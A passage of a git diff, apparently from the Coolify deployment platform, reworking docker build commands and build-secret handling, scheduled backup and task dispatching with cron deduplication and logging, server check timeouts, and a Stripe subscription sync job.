$this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } } else { $this->execute_remote_command([ @@ -3100,18 +3143,16 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}"); } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3132,7 +3173,7 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); // Use BuildKit with secrets @@ -3144,19 +3185,17 @@ private function build_image() } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3332,7 +3371,7 @@ private function generate_build_env_variables() $this->analyzeBuildTimeVariables($variables); } - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { $this->generate_build_secrets($variables); $this->build_args = ''; } else { @@ -3819,7 +3858,7 @@ private function modify_dockerfiles_for_compose($composeFile) $this->application_deployment_queue->addLogEntry("Service {$serviceName}: All required ARG declarations already exist."); } - if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) { + if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) { $fullDockerfilePath = "{$this->workdir}/{$dockerfilePath}"; $this->modify_dockerfile_for_secrets($fullDockerfilePath); $this->application_deployment_queue->addLogEntry("Modified Dockerfile for service {$serviceName} to use build secrets."); @@ -3879,6 +3918,18 @@ private function add_build_secrets_to_compose($composeFile) return $composeFile; } + private function validatePathField(string $value, string $fieldName): string + { + if (! preg_match('/^\/[a-zA-Z0-9._\-\/]+$/', $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden characters."); + } + if (str_contains($value, '..')) { + throw new \RuntimeException("Invalid {$fieldName}: path traversal detected."); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index a585baa69..5fc9f6cd8 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -111,6 +111,12 @@ public function handle(): void $status = str(data_get($this->database, 'status')); if (! $status->startsWith('running') && $this->database->id !== 0) { + Log::info('DatabaseBackupJob skipped: database not running', [ + 'backup_id' => $this->backup->id, + 'database_id' => $this->database->id, + 'status' => (string) $status, + ]); + return; } if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) { @@ -472,7 +478,7 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi throw new \Exception('MongoDB credentials not found. Ensure MONGO_INITDB_ROOT_USERNAME and MONGO_INITDB_ROOT_PASSWORD environment variables are available in the container.'); } } - \Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); + Log::info('MongoDB backup URL configured', ['has_url' => filled($url), 'using_env_vars' => blank($this->database->internal_db_url)]); if ($databaseWithCollections === 'all') { $commands[] = 'mkdir -p '.$this->backup_dir; if (str($this->database->image)->startsWith('mongo:4')) { diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index f3f3a2ae4..78ef7f3a2 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -91,6 +91,8 @@ public function handle(): void $this->server->team?->notify(new DockerCleanupSuccess($this->server, $message)); event(new DockerCleanupDone($this->execution_log)); + + return; } if ($this->usageBefore >= $this->server->settings->docker_cleanup_threshold) { diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index c02a7e3c5..85684ff19 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -24,6 +24,7 @@ use Illuminate\Queue\Middleware\WithoutOverlapping; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Laravel\Horizon\Contracts\Silenced; class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced @@ -130,7 +131,14 @@ public function handle() $this->containers = collect(data_get($data, 'containers')); $filesystemUsageRoot = data_get($data, 'filesystem_usage_root.used_percentage'); - ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + + // Only dispatch storage check when disk percentage actually changes + $storageCacheKey = 'storage-check:'.$this->server->id; + $lastPercentage = Cache::get($storageCacheKey); + if ($lastPercentage === null || (string) $lastPercentage !== (string) $filesystemUsageRoot) { + Cache::put($storageCacheKey, $filesystemUsageRoot, 600); + ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot); + } if ($this->containers->isEmpty()) { return; @@ -207,6 +215,9 @@ public function handle() $serviceId = $labels->get('coolify.serviceId'); $subType = $labels->get('coolify.service.subType'); $subId = $labels->get('coolify.service.subId'); + if (empty(trim((string) $subId))) { + continue; + } if ($subType === 'application') { $this->foundServiceApplicationIds->push($subId); // Store container status for aggregation @@ -324,6 +335,10 @@ private function aggregateServiceContainerStatuses() // Parse key: serviceId:subType:subId [$serviceId, $subType, $subId] = explode(':', $key); + if (empty($subId)) { + continue; + } + $service = $this->services->where('id', $serviceId)->first(); if (! $service) { continue; @@ -332,9 +347,9 @@ private function aggregateServiceContainerStatuses() // Get the service sub-resource (ServiceApplication or ServiceDatabase) $subResource = null; if ($subType === 'application') { - $subResource = $service->applications()->where('id', $subId)->first(); + $subResource = $service->applications->where('id', $subId)->first(); } elseif ($subType === 'database') { - $subResource = $service->databases()->where('id', $subId)->first(); + $subResource = $service->databases->where('id', $subId)->first(); } if (! $subResource) { @@ -473,8 +488,13 @@ private function updateProxyStatus() } catch (\Throwable $e) { } } else { - // Connect proxy to networks asynchronously to avoid blocking the status update - ConnectProxyToNetworksJob::dispatch($this->server); + // Connect proxy to networks periodically (every 10 min) to avoid excessive job dispatches. + // On-demand triggers (new network, service deploy) use dispatchSync() and bypass this. + $proxyCacheKey = 'connect-proxy:'.$this->server->id; + if (! Cache::has($proxyCacheKey)) { + Cache::put($proxyCacheKey, true, 600); + ConnectProxyToNetworksJob::dispatch($this->server); + } } } } @@ -542,7 +562,7 @@ private function updateServiceSubStatus(string $serviceId, string $subType, stri return; } if ($subType === 'application') { - $application = $service->applications()->where('id', $subId)->first(); + $application = $service->applications->where('id', $subId)->first(); if ($application) { if ($application->status !== $containerStatus) { $application->status = $containerStatus; @@ -550,7 +570,7 @@ private function updateServiceSubStatus(string $serviceId, string $subType, stri } } } elseif ($subType === 'database') { - $database = $service->databases()->where('id', $subId)->first(); + $database = $service->databases->where('id', $subId)->first(); if ($database) { if ($database->status !== $containerStatus) { $database->status = $containerStatus; diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index 75ff883c2..e68e3b613 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -15,7 +15,9 @@ use Illuminate\Queue\SerializesModels; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; +use Illuminate\Support\Facades\Redis; class ScheduledJobManager implements ShouldQueue { @@ -27,6 +29,10 @@ class ScheduledJobManager implements ShouldQueue */ private ?Carbon $executionTime = null; + private int $dispatchedCount = 0; + + private int $skippedCount = 0; + /** * Create a new job instance. */ @@ -50,6 +56,11 @@ private function determineQueue(): string */ public function middleware(): array { + // Self-healing: clear any stale lock before WithoutOverlapping tries to acquire it. + // Stale locks (TTL = -1) can occur during upgrades, Redis restarts, or edge cases. + // @see https://github.com/coollabsio/coolify/issues/8327 + self::clearStaleLockIfPresent(); + return [ (new WithoutOverlapping('scheduled-job-manager')) ->expireAfter(90) // Lock expires after 90s to handle high-load environments with many tasks @@ -57,10 +68,44 @@ public function middleware(): array ]; } + /** + * Clear a stale WithoutOverlapping lock if it has no TTL (TTL = -1). + * + * This provides continuous self-healing since it runs every time the job is dispatched. + * Stale locks permanently block all scheduled job executions with no user-visible error. + */ + private static function clearStaleLockIfPresent(): void + { + try { + $cachePrefix = config('cache.prefix', ''); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.self::class.':scheduled-job-manager'; + + $ttl = Redis::connection('default')->ttl($lockKey); + + if ($ttl === -1) { + Redis::connection('default')->del($lockKey); + Log::channel('scheduled')->warning('Cleared stale ScheduledJobManager lock', [ + 'lock_key' => $lockKey, + ]); + } + } catch (\Throwable $e) { + // Never let lock cleanup failure prevent the job from running + Log::channel('scheduled-errors')->error('Failed to check/clear stale lock', [ + 'error' => $e->getMessage(), + ]); + } + } + public function handle(): void { // Freeze the execution time at the start of the job $this->executionTime = Carbon::now(); + $this->dispatchedCount = 0; + $this->skippedCount = 0; + + Log::channel('scheduled')->info('ScheduledJobManager started', [ + 'execution_time' => $this->executionTime->toIso8601String(), + ]); // Process backups - don't let failures stop task processing try { @@ -91,6 +136,20 @@ public function handle(): void 'trace' => $e->getTraceAsString(), ]); } + + Log::channel('scheduled')->info('ScheduledJobManager completed', [ + 'execution_time' => $this->executionTime->toIso8601String(), + 'duration_ms' => $this->executionTime->diffInMilliseconds(Carbon::now()), + 'dispatched' => $this->dispatchedCount, + 'skipped' => $this->skippedCount, + ]); + + // Write heartbeat so the UI can detect when the scheduler has stopped + try { + Cache::put('scheduled-job-manager:heartbeat', now()->toIso8601String(), 300); + } catch (\Throwable) { + // Non-critical; don't let heartbeat failure affect the job + } } private function processScheduledBackups(): void @@ -101,12 +160,20 @@ private function processScheduledBackups(): void foreach ($backups as $backup) { try { - // Apply the same filtering logic as the original - if (! $this->shouldProcessBackup($backup)) { + $server = $backup->server(); + $skipReason = $this->getBackupSkipReason($backup, $server); + if ($skipReason !== null) { + $this->skippedCount++; + $this->logSkip('backup', $skipReason, [ + 'backup_id' => $backup->id, + 'database_id' => $backup->database_id, + 'database_type' => $backup->database_type, + 'team_id' => $backup->team_id ?? null, + ]); + continue; } - $server = $backup->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -118,8 +185,16 @@ private function processScheduledBackups(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if ($this->shouldRunNow($frequency, $serverTimezone, "scheduled-backup:{$backup->id}")) { DatabaseBackupJob::dispatch($backup); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Backup dispatched', [ + 'backup_id' => $backup->id, + 'database_id' => $backup->database_id, + 'database_type' => $backup->database_type, + 'team_id' => $backup->team_id ?? null, + 'server_id' => $server->id, + ]); } } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing backup', [ @@ -138,11 +213,21 @@ private function processScheduledTasks(): void foreach ($tasks as $task) { try { - if (! $this->shouldProcessTask($task)) { + $server = $task->server(); + + // Phase 1: Critical checks (always — cheap, handles orphans and infra issues) + $criticalSkip = $this->getTaskCriticalSkipReason($task, $server); + if ($criticalSkip !== null) { + $this->skippedCount++; + $this->logSkip('task', $criticalSkip, [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server?->team_id, + ]); + continue; } - $server = $task->server(); $serverTimezone = data_get($server->settings, 'server_timezone', config('app.timezone')); if (validate_timezone($serverTimezone) === false) { @@ -154,9 +239,31 @@ private function processScheduledTasks(): void $frequency = VALID_CRON_STRINGS[$frequency]; } - if ($this->shouldRunNow($frequency, $serverTimezone)) { - ScheduledTaskJob::dispatch($task); + if (! $this->shouldRunNow($frequency, $serverTimezone, "scheduled-task:{$task->id}")) { + continue; } + + // Phase 2: Runtime checks (only when cron is due — avoids noise for stopped resources) + $runtimeSkip = $this->getTaskRuntimeSkipReason($task); + if ($runtimeSkip !== null) { + $this->skippedCount++; + $this->logSkip('task', $runtimeSkip, [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server->team_id, + ]); + + continue; + } + + ScheduledTaskJob::dispatch($task); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Task dispatched', [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server->team_id, + 'server_id' => $server->id, + ]); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing task', [ 'task_id' => $task->id, @@ -166,79 +273,112 @@ private function processScheduledTasks(): void } } - private function shouldProcessBackup(ScheduledDatabaseBackup $backup): bool + private function getBackupSkipReason(ScheduledDatabaseBackup $backup, ?Server $server): ?string { if (blank(data_get($backup, 'database'))) { $backup->delete(); - return false; + return 'database_deleted'; } - $server = $backup->server(); if (blank($server)) { $backup->delete(); - return false; + return 'server_deleted'; } if ($server->isFunctional() === false) { - return false; + return 'server_not_functional'; } if (isCloud() && data_get($server->team->subscription, 'stripe_invoice_paid', false) === false && $server->team->id !== 0) { - return false; + return 'subscription_unpaid'; } - return true; + return null; } - private function shouldProcessTask(ScheduledTask $task): bool + private function getTaskCriticalSkipReason(ScheduledTask $task, ?Server $server): ?string { - $service = $task->service; - $application = $task->application; - - $server = $task->server(); if (blank($server)) { $task->delete(); - return false; + return 'server_deleted'; } if ($server->isFunctional() === false) { - return false; + return 'server_not_functional'; } if (isCloud() && data_get($server->team->subscription, 'stripe_invoice_paid', false) === false && $server->team->id !== 0) { - return false; + return 'subscription_unpaid'; } - if (! $service && ! $application) { + if (! $task->service && ! $task->application) { $task->delete(); - return false; + return 'resource_deleted'; } - if ($application && str($application->status)->contains('running') === false) { - return false; - } - - if ($service && str($service->status)->contains('running') === false) { - return false; - } - - return true; + return null; } - private function shouldRunNow(string $frequency, string $timezone): bool + private function getTaskRuntimeSkipReason(ScheduledTask $task): ?string + { + if ($task->application && str($task->application->status)->contains('running') === false) { + return 'application_not_running'; + } + + if ($task->service && str($task->service->status)->contains('running') === false) { + return 'service_not_running'; + } + + return null; + } + + /** + * Determine if a cron schedule should run now. + * + * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking + * instead of isDue(). This is resilient to queue delays — even if the job is delayed + * by minutes, it still catches the missed cron window. Without dedupKey, falls back + * to simple isDue() check. + */ + private function shouldRunNow(string $frequency, string $timezone, ?string $dedupKey = null): bool { $cron = new CronExpression($frequency); - - // Use the frozen execution time, not the current time - // Fallback to current time if execution time is not set (shouldn't happen) $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone); - return $cron->isDue($executionTime); + // No dedup key → simple isDue check (used by docker cleanups) + if ($dedupKey === null) { + return $cron->isDue($executionTime); + } + + // Get the most recent time this cron was due (including current minute) + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + + $lastDispatched = Cache::get($dedupKey); + + if ($lastDispatched === null) { + // First run after restart or cache loss: only fire if actually due right now. + // Seed the cache so subsequent runs can use tolerance/catch-up logic. + $isDue = $cron->isDue($executionTime); + if ($isDue) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + } + + return $isDue; + } + + // Subsequent runs: fire if there's been a due time since last dispatch + if ($previousDue->gt(Carbon::parse($lastDispatched))) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + + return true; + } + + return false; } private function processDockerCleanups(): void @@ -248,7 +388,15 @@ private function processDockerCleanups(): void foreach ($servers as $server) { try { - if (! $this->shouldProcessDockerCleanup($server)) { + $skipReason = $this->getDockerCleanupSkipReason($server); + if ($skipReason !== null) { + $this->skippedCount++; + $this->logSkip('docker_cleanup', $skipReason, [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'team_id' => $server->team_id, + ]); + continue; } @@ -270,6 +418,12 @@ private function processDockerCleanups(): void $server->settings->delete_unused_volumes, $server->settings->delete_unused_networks ); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Docker cleanup dispatched', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'team_id' => $server->team_id, + ]); } } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing docker cleanup', [ @@ -296,19 +450,28 @@ private function getServersForCleanup(): Collection return $query->get(); } - private function shouldProcessDockerCleanup(Server $server): bool + private function getDockerCleanupSkipReason(Server $server): ?string { if (! $server->isFunctional()) { - return false; + return 'server_not_functional'; } // In cloud, check subscription status (except team 0) if (isCloud() && $server->team_id !== 0) { if (data_get($server->team->subscription, 'stripe_invoice_paid', false) === false) { - return false; + return 'subscription_unpaid'; } } - return true; + return null; + } + + private function logSkip(string $type, string $reason, array $context = []): void + { + Log::channel('scheduled')->info(ucfirst(str_replace('_', ' ', $type)).' skipped', array_merge([ + 'type' => $type, + 'skip_reason' => $reason, + 'execution_time' => $this->executionTime?->toIso8601String(), + ], $context)); } } diff --git a/app/Jobs/ScheduledTaskJob.php b/app/Jobs/ScheduledTaskJob.php index b21bc11a1..49b9b9702 100644 --- a/app/Jobs/ScheduledTaskJob.php +++ b/app/Jobs/ScheduledTaskJob.php @@ -14,13 +14,14 @@ use App\Notifications\ScheduledTask\TaskSuccess; use Carbon\Carbon; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class ScheduledTaskJob implements ShouldQueue +class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php index 2ac92e72d..a18d45b9a 100644 --- a/app/Jobs/ServerCheckJob.php +++ b/app/Jobs/ServerCheckJob.php @@ -15,6 +15,7 @@ use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\Middleware\WithoutOverlapping; use Illuminate\Queue\SerializesModels; +use Illuminate\Support\Facades\Log; class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue { @@ -33,6 +34,19 @@ public function middleware(): array public function __construct(public Server $server) {} + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); + } + } + public function handle() { try { diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 9dbce4bfe..d4a499865 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -101,12 +101,31 @@ public function handle() 'is_usable' => false, ]); - throw $e; + return; + } + } + + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerConnectionCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + $this->server->settings->update([ + 'is_reachable' => false, + 'is_usable' => false, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); } } private function checkHetznerStatus(): void { + $status = null; + try { $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); $serverData = $hetznerService->getServer($this->server->hetzner_server_id); diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index a4619354d..c8219a2ea 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -64,11 +64,11 @@ public function handle(): void private function getServers(): Collection { - $allServers = Server::where('ip', '!=', '1.2.3.4'); + $allServers = Server::with('settings')->where('ip', '!=', '1.2.3.4'); if (isCloud()) { $servers = $allServers->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get(); - $own = Team::find(0)->servers; + $own = Team::find(0)->servers()->with('settings')->get(); return $servers->merge($own); } else { @@ -82,6 +82,10 @@ private function dispatchConnectionChecks(Collection $servers): void if ($this->shouldRunNow($this->checkFrequency)) { $servers->each(function (Server $server) { try { + // Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity + if ($server->isSentinelEnabled() && $server->isSentinelLive()) { + return; + } ServerConnectionCheckJob::dispatch($server); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Failed to dispatch ServerConnectionCheck', [ @@ -134,9 +138,7 @@ private function processServerTasks(Server $server): void // Dispatch Sentinel restart if due (daily for Sentinel-enabled servers) if ($shouldRestartSentinel) { - dispatch(function () use ($server) { - $server->restartContainer('coolify-sentinel'); - }); + CheckAndStartSentinelJob::dispatch($server); } // Dispatch ServerStorageCheckJob if due (only when Sentinel is out of sync or disabled) @@ -160,11 +162,8 @@ private function processServerTasks(Server $server): void ServerPatchCheckJob::dispatch($server); } - // Sentinel update checks (hourly) - check for updates to Sentinel version - // No timezone needed for hourly - runs at top of every hour - if ($isSentinelEnabled && $this->shouldRunNow('0 * * * *')) { - CheckAndStartSentinelJob::dispatch($server); - } + // Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates. + // Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob. } private function shouldRunNow(string $frequency, ?string $timezone = null): bool diff --git a/app/Jobs/ServerStorageCheckJob.php b/app/Jobs/ServerStorageCheckJob.php index 9d45491c6..51426d880 100644 --- a/app/Jobs/ServerStorageCheckJob.php +++ b/app/Jobs/ServerStorageCheckJob.php @@ -10,6 +10,7 @@ use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\RateLimiter; use Laravel\Horizon\Contracts\Silenced; @@ -28,6 +29,19 @@ public function backoff(): int public function __construct(public Server $server, public int|string|null $percentage = null) {} + public function failed(?\Throwable $exception): void + { + if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { + Log::warning('ServerStorageCheckJob timed out', [ + 'server_id' => $this->server->id, + 'server_name' => $this->server->name, + ]); + + // Delete the queue job so it doesn't appear in Horizon's failed list. + $this->job?->delete(); + } + } + public function handle() { try { diff --git a/app/Jobs/SyncStripeSubscriptionsJob.php b/app/Jobs/SyncStripeSubscriptionsJob.php index 9eb946e4d..4301a80d1 100644 --- a/app/Jobs/SyncStripeSubscriptionsJob.php +++ b/app/Jobs/SyncStripeSubscriptionsJob.php @@ -22,7 +22,7 @@ public function __construct(public bool $fix = false) $this->onQueue('high'); } - public function handle(): array + public function handle(?\Closure $onProgress = null): array { if (! isCloud() || ! isStripe()) { return ['error' => 'Not running on Cloud or Stripe not configured']; @@ -33,48 +33,73 @@ public function handle(): array ->get(); $stripe = new \Stripe\StripeClient(config('subscription.stripe_api_key')); + + // Bulk fetch all valid subscription IDs from Stripe (active + past_due) + $validStripeIds = $this->fetchValidStripeSubscriptionIds($stripe, $onProgress); + + // Find DB subscriptions not in the valid set + $staleSubscriptions = $subscriptions->filter( + fn (Subscription $sub) => ! in_array($sub->stripe_subscription_id, $validStripeIds) + ); + + // For each stale subscription, get the exact Stripe status and check for resubscriptions $discrepancies = []; + $resubscribed = []; $errors = []; - foreach ($subscriptions as $subscription) { + foreach ($staleSubscriptions as $subscription) { try { $stripeSubscription = $stripe->subscriptions->retrieve( $subscription->stripe_subscription_id ); + $stripeStatus = $stripeSubscription->status; - // Check if Stripe says cancelled but we think it's active - if (in_array($stripeSubscription->status, ['canceled', 'incomplete_expired', 'unpaid'])) { - $discrepancies[] = [ - 'subscription_id' => $subscription->id, - 'team_id' => $subscription->team_id, - 'stripe_subscription_id' => $subscription->stripe_subscription_id, - 'stripe_status' => $stripeSubscription->status, - ]; - - // Only fix if --fix flag is passed - if ($this->fix) { - $subscription->update([ - 'stripe_invoice_paid' => false, - 'stripe_past_due' => false, - ]); - - if ($stripeSubscription->status === 'canceled') { - $subscription->team?->subscriptionEnded(); - } - } - } - - // Small delay to avoid Stripe rate limits - usleep(100000); // 100ms + usleep(100000); // 100ms rate limit delay } catch (\Exception $e) { $errors[] = [ 'subscription_id' => $subscription->id, 'error' => $e->getMessage(), ]; + + continue; + } + + // Check if this user resubscribed under a different customer/subscription + $activeSub = $this->findActiveSubscriptionByEmail($stripe, $stripeSubscription->customer); + if ($activeSub) { + $resubscribed[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'email' => $activeSub['email'], + 'old_stripe_subscription_id' => $subscription->stripe_subscription_id, + 'old_stripe_customer_id' => $stripeSubscription->customer, + 'new_stripe_subscription_id' => $activeSub['subscription_id'], + 'new_stripe_customer_id' => $activeSub['customer_id'], + 'new_status' => $activeSub['status'], + ]; + + continue; + } + + $discrepancies[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'stripe_subscription_id' => $subscription->stripe_subscription_id, + 'stripe_status' => $stripeStatus, + ]; + + if ($this->fix) { + $subscription->update([ + 'stripe_invoice_paid' => false, + 'stripe_past_due' => false, + ]); + + if ($stripeStatus === 'canceled') { + $subscription->team?->subscriptionEnded(); + } } } - // Only notify if discrepancies found and fixed if ($this->fix && count($discrepancies) > 0) { send_internal_notification( 'SyncStripeSubscriptionsJob: Fixed '.count($discrepancies)." discrepancies:\n". @@ -85,8 +110,88 @@ public function handle(): array return [ 'total_checked' => $subscriptions->count(), 'discrepancies' => $discrepancies, + 'resubscribed' => $resubscribed, 'errors' => $errors, 'fixed' => $this->fix, ]; } + + /** + * Given a Stripe customer ID, get their email and search for other customers + * with the same email that have an active subscription. + * + * @return array{email: string, customer_id: string, subscription_id: string, status: string}|null + */ + private function findActiveSubscriptionByEmail(\Stripe\StripeClient $stripe, string $customerId): ?array + { + try { + 